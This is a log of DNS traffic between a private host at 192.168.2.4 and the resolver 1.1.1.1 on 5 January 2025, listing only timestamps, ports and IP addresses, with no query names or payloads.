Jan 5, 2025 10:48:43.284048080 CET	53	61124	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:43.305387974 CET	55951	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:43.433176994 CET	53	55951	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:43.538247108 CET	49640	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:44.318361044 CET	53	49640	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:44.321130991 CET	57763	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:44.412594080 CET	53	57763	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:44.522839069 CET	59487	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:44.782736063 CET	53	59487	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:44.785037994 CET	49245	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:45.049034119 CET	53	49245	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:45.163399935 CET	57078	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:45.172792912 CET	53	57078	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:45.177999020 CET	51656	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:45.201302052 CET	53	51656	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:45.304438114 CET	60790	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:46.088227987 CET	53	60790	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:46.091006994 CET	50151	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:46.276536942 CET	53	50151	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:46.382019997 CET	56672	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:46.415210962 CET	53	56672	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:46.417669058 CET	58190	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:46.426490068 CET	53	58190	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:46.538686991 CET	64773	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:46.574069977 CET	53	64773	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:46.576562881 CET	59335	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:46.583533049 CET	53	59335	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:46.694463968 CET	60108	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:47.475159883 CET	53	60108	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:47.477905989 CET	57201	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:47.664011002 CET	53	57201	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:47.772605896 CET	64193	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:47.781672001 CET	53	64193	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:47.783900023 CET	52801	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:47.793323994 CET	53	52801	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:47.898046970 CET	55197	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:47.922401905 CET	53	55197	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:47.924796104 CET	60268	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:48.028835058 CET	53	60268	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:48.132055044 CET	59122	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:48.150722980 CET	53	59122	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:48.757622004 CET	57864	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:48.766496897 CET	53	57864	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:48.769617081 CET	56905	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:48.783111095 CET	53	56905	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:48.897757053 CET	64568	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:48.906970978 CET	53	64568	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:48.909372091 CET	64479	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:48.946171045 CET	53	64479	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:49.053859949 CET	61986	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:49.329760075 CET	53	61986	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:49.332600117 CET	59393	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:50.116255999 CET	53	59393	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:50.226156950 CET	50057	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:50.234581947 CET	53	50057	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:50.236828089 CET	64697	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:50.245650053 CET	53	64697	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:50.350723028 CET	57659	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:51.132148027 CET	53	57659	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:51.134603024 CET	50919	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:51.916589022 CET	53	50919	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:52.022660971 CET	59478	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:52.031636000 CET	53	59478	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:52.034312010 CET	59924	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:52.043524981 CET	53	59924	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:52.147723913 CET	54313	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:52.192203999 CET	53	54313	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:52.195280075 CET	49899	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:52.212378979 CET	53	49899	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:52.323039055 CET	64953	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:52.380649090 CET	53	64953	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:52.386002064 CET	61750	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:52.445730925 CET	53	61750	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:52.553937912 CET	61634	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:52.563610077 CET	53	61634	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:53.163474083 CET	56346	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:53.199141979 CET	53	56346	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:53.202625990 CET	53265	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:53.259975910 CET	53	53265	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:53.367588997 CET	51774	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:53.399256945 CET	53	51774	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:53.402853966 CET	58333	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:53.439785957 CET	53	58333	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:53.554014921 CET	50889	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:53.564347029 CET	53	50889	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:53.566699982 CET	62117	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:53.609443903 CET	53	62117	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:53.727113008 CET	49624	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:53.820962906 CET	53	49624	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:53.840315104 CET	51833	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:54.035249949 CET	53	51833	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:54.148343086 CET	63019	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:54.428066015 CET	53	63019	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:54.432944059 CET	56113	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:54.528702974 CET	53	56113	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:54.632113934 CET	58338	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:54.649209023 CET	53	58338	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:54.651531935 CET	61236	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:54.736179113 CET	53	61236	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:54.851110935 CET	50266	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:54.868451118 CET	53	50266	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:54.870899916 CET	61864	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:54.882584095 CET	53	61864	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:54.991547108 CET	62569	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:55.095582008 CET	53	62569	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:55.098223925 CET	65328	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:55.228205919 CET	53	65328	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:55.335438967 CET	57004	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:56.334840059 CET	57004	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:56.940119982 CET	53	57004	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:56.940135956 CET	53	57004	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:56.942943096 CET	63607	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:56.949958086 CET	53	63607	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:57.053920984 CET	56392	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:57.062984943 CET	53	56392	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:57.088222027 CET	52341	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:57.323751926 CET	53	52341	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:57.913343906 CET	62511	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:57.938543081 CET	53	62511	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:57.956809998 CET	55252	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:57.968911886 CET	53	55252	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:58.085241079 CET	61808	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:58.109525919 CET	53	61808	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:58.112138987 CET	59409	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:58.136599064 CET	53	59409	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:58.242536068 CET	59255	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:58.260392904 CET	53	59255	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:58.686265945 CET	52517	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:58.722517967 CET	53	52517	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:58.835660934 CET	51829	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:58.844722033 CET	53	51829	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:59.444689035 CET	52801	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:59.453371048 CET	53	52801	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:59.473457098 CET	51414	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:59.482512951 CET	53	51414	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:59.585205078 CET	50906	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:59.853450060 CET	53	50906	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:59.859536886 CET	50362	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:00.707612038 CET	53	50362	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:00.832037926 CET	57181	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:01.719044924 CET	53	57181	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:01.721306086 CET	59986	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:01.848279953 CET	53	59986	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:01.960134983 CET	54865	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:01.969520092 CET	53	54865	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:01.971924067 CET	53862	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:01.980474949 CET	53	53862	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:02.100871086 CET	54812	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:02.157351017 CET	53	54812	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:02.159914970 CET	61313	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:02.195877075 CET	53	61313	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:02.303956032 CET	65024	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:02.397749901 CET	53	65024	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:02.400242090 CET	63792	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:02.673583031 CET	53	63792	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:02.788685083 CET	64553	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:02.797888994 CET	53	64553	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:03.413597107 CET	60825	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:03.430452108 CET	53	60825	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:03.462452888 CET	58420	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:03.528175116 CET	53	58420	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:03.634917974 CET	64495	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:03.644505024 CET	53	64495	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:03.646697998 CET	59894	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:03.655685902 CET	53	59894	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:03.859910965 CET	53168	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:03.869942904 CET	53	53168	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:04.015202999 CET	57215	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:04.308559895 CET	53	57215	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:04.882057905 CET	55835	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:04.899327040 CET	53	55835	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:04.917047024 CET	50307	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:04.979862928 CET	53	50307	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:05.086322069 CET	63476	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:05.100533962 CET	53	63476	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:05.710696936 CET	64847	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:05.752505064 CET	53	64847	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:05.776837111 CET	65084	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:05.817992926 CET	53	65084	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:05.929028034 CET	59756	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:05.954348087 CET	53	59756	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:05.959099054 CET	63257	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:05.996112108 CET	53	63257	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:06.107043982 CET	49626	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:06.153779984 CET	53	49626	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:06.171793938 CET	51894	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:06.228364944 CET	53	51894	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:06.382267952 CET	55857	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:06.414484978 CET	53	55857	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:06.416982889 CET	52132	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:06.686391115 CET	53	52132	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:06.995750904 CET	62137	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:07.037225008 CET	53	62137	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:07.060216904 CET	54492	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:07.071019888 CET	53	54492	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:07.182132006 CET	49865	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:07.450464010 CET	53	49865	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:07.463046074 CET	49346	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:07.719161987 CET	53	49346	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:07.836117983 CET	55356	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:07.907707930 CET	53	55356	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:07.925853968 CET	64803	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:07.934232950 CET	53	64803	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:08.038403034 CET	64788	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:08.084667921 CET	53	64788	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:08.100107908 CET	51666	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:08.132009029 CET	53	51666	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:08.245516062 CET	57569	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:08.307629108 CET	53	57569	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:08.359714031 CET	58620	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:08.388195038 CET	53	58620	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:08.494934082 CET	55828	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:08.588265896 CET	53	55828	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:08.607289076 CET	63499	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:08.699701071 CET	53	63499	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:08.804898024 CET	61909	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:08.852209091 CET	53	61909	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:08.868767023 CET	62301	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:08.912224054 CET	53	62301	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:09.022772074 CET	64159	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:09.032203913 CET	53	64159	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:09.039295912 CET	54398	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:09.047766924 CET	53	54398	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:09.232662916 CET	51098	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:09.329071045 CET	53	51098	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:09.359466076 CET	50661	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:09.543751955 CET	53	50661	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:09.728971004 CET	62154	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:09.737449884 CET	53	62154	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:09.763636112 CET	63310	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:09.772660971 CET	53	63310	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:09.884191990 CET	53592	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:09.919801950 CET	53	53592	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:09.923595905 CET	58221	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:09.979934931 CET	53	58221	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:10.086570978 CET	61102	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:10.366544008 CET	53	61102	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:10.416876078 CET	51281	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:10.602304935 CET	53	51281	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:10.715641022 CET	60293	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:10.732875109 CET	53	60293	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:10.754406929 CET	51815	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:10.796466112 CET	53	51815	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:10.913532019 CET	54198	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:11.033862114 CET	53	54198	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:11.114160061 CET	59634	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:11.138395071 CET	53	59634	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:11.258239985 CET	61007	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:11.282319069 CET	53	61007	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:11.286851883 CET	54481	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:11.422832012 CET	53	54481	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:11.562104940 CET	62561	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:11.571542978 CET	53	62561	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:11.613948107 CET	59606	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:11.623260021 CET	53	59606	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:11.754894018 CET	63896	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:11.764198065 CET	53	63896	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:11.771481991 CET	57222	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:11.780122042 CET	53	57222	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:11.898585081 CET	50056	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:11.919161081 CET	53	50056	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:12.129940033 CET	65131	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:12.370223999 CET	53	65131	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:12.944729090 CET	58325	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:12.972625971 CET	53	58325	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:12.980675936 CET	60587	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:13.001143932 CET	53	60587	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:13.148767948 CET	56855	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:13.163361073 CET	53	56855	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:13.168342113 CET	62937	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:13.177100897 CET	53	62937	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:13.290153980 CET	50009	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:13.315360069 CET	53	50009	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:13.323786020 CET	58418	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:13.349849939 CET	53	58418	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:13.481304884 CET	50704	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:13.500685930 CET	53	50704	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:13.539067984 CET	52502	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:13.674810886 CET	53	52502	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:14.241530895 CET	59244	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:14.250513077 CET	53	59244	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:14.259383917 CET	55399	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:14.269476891 CET	53	55399	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:14.382364035 CET	55833	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:14.477734089 CET	53	55833	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:14.484112978 CET	56136	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:14.672780037 CET	53	56136	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:14.789036989 CET	51488	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:14.797805071 CET	53	51488	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:14.809950113 CET	61125	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:14.825454950 CET	53	61125	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:14.930330038 CET	58720	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:14.955033064 CET	53	58720	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:14.960169077 CET	59904	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:15.064321995 CET	53	59904	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:15.179131031 CET	49278	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:15.190114975 CET	53	49278	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:15.346760035 CET	61760	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:15.480878115 CET	53	61760	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:16.054058075 CET	56347	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:16.064337969 CET	53	56347	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:16.081754923 CET	54041	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:16.090430975 CET	53	54041	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:16.195979118 CET	56983	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:16.241089106 CET	53	56983	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:16.264046907 CET	55610	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:16.309031010 CET	53	55610	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:16.414165020 CET	55236	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:16.426671028 CET	53	55236	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:16.461997986 CET	54048	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:16.696880102 CET	53	54048	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:17.273127079 CET	50761	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:17.290628910 CET	53	50761	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:17.295767069 CET	62411	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:17.324526072 CET	53	62411	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:17.431610107 CET	59189	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:17.441231966 CET	53	59189	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:17.449412107 CET	65158	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:17.463604927 CET	53	65158	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:17.581856012 CET	58947	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:17.618675947 CET	53	58947	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:17.640242100 CET	55150	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:17.649254084 CET	53	55150	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:17.757882118 CET	53515	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:17.777146101 CET	53	53515	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:17.815653086 CET	55966	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:18.051583052 CET	53	55966	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:18.652717113 CET	64852	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:18.836999893 CET	53	64852	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:18.844634056 CET	57752	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:18.938059092 CET	53	57752	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:19.055524111 CET	53804	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:19.159986019 CET	53	53804	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:19.172079086 CET	62049	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:19.196511030 CET	53	62049	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:19.304337025 CET	65325	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:19.326019049 CET	53	65325	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:19.377291918 CET	52925	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:49:19.396189928 CET	53	52925	1.1.1.1	192.168.2.4
Jan 5, 2025 10:49:19.507235050 CET	59218	53	192.168.2.4	1.1.1.1
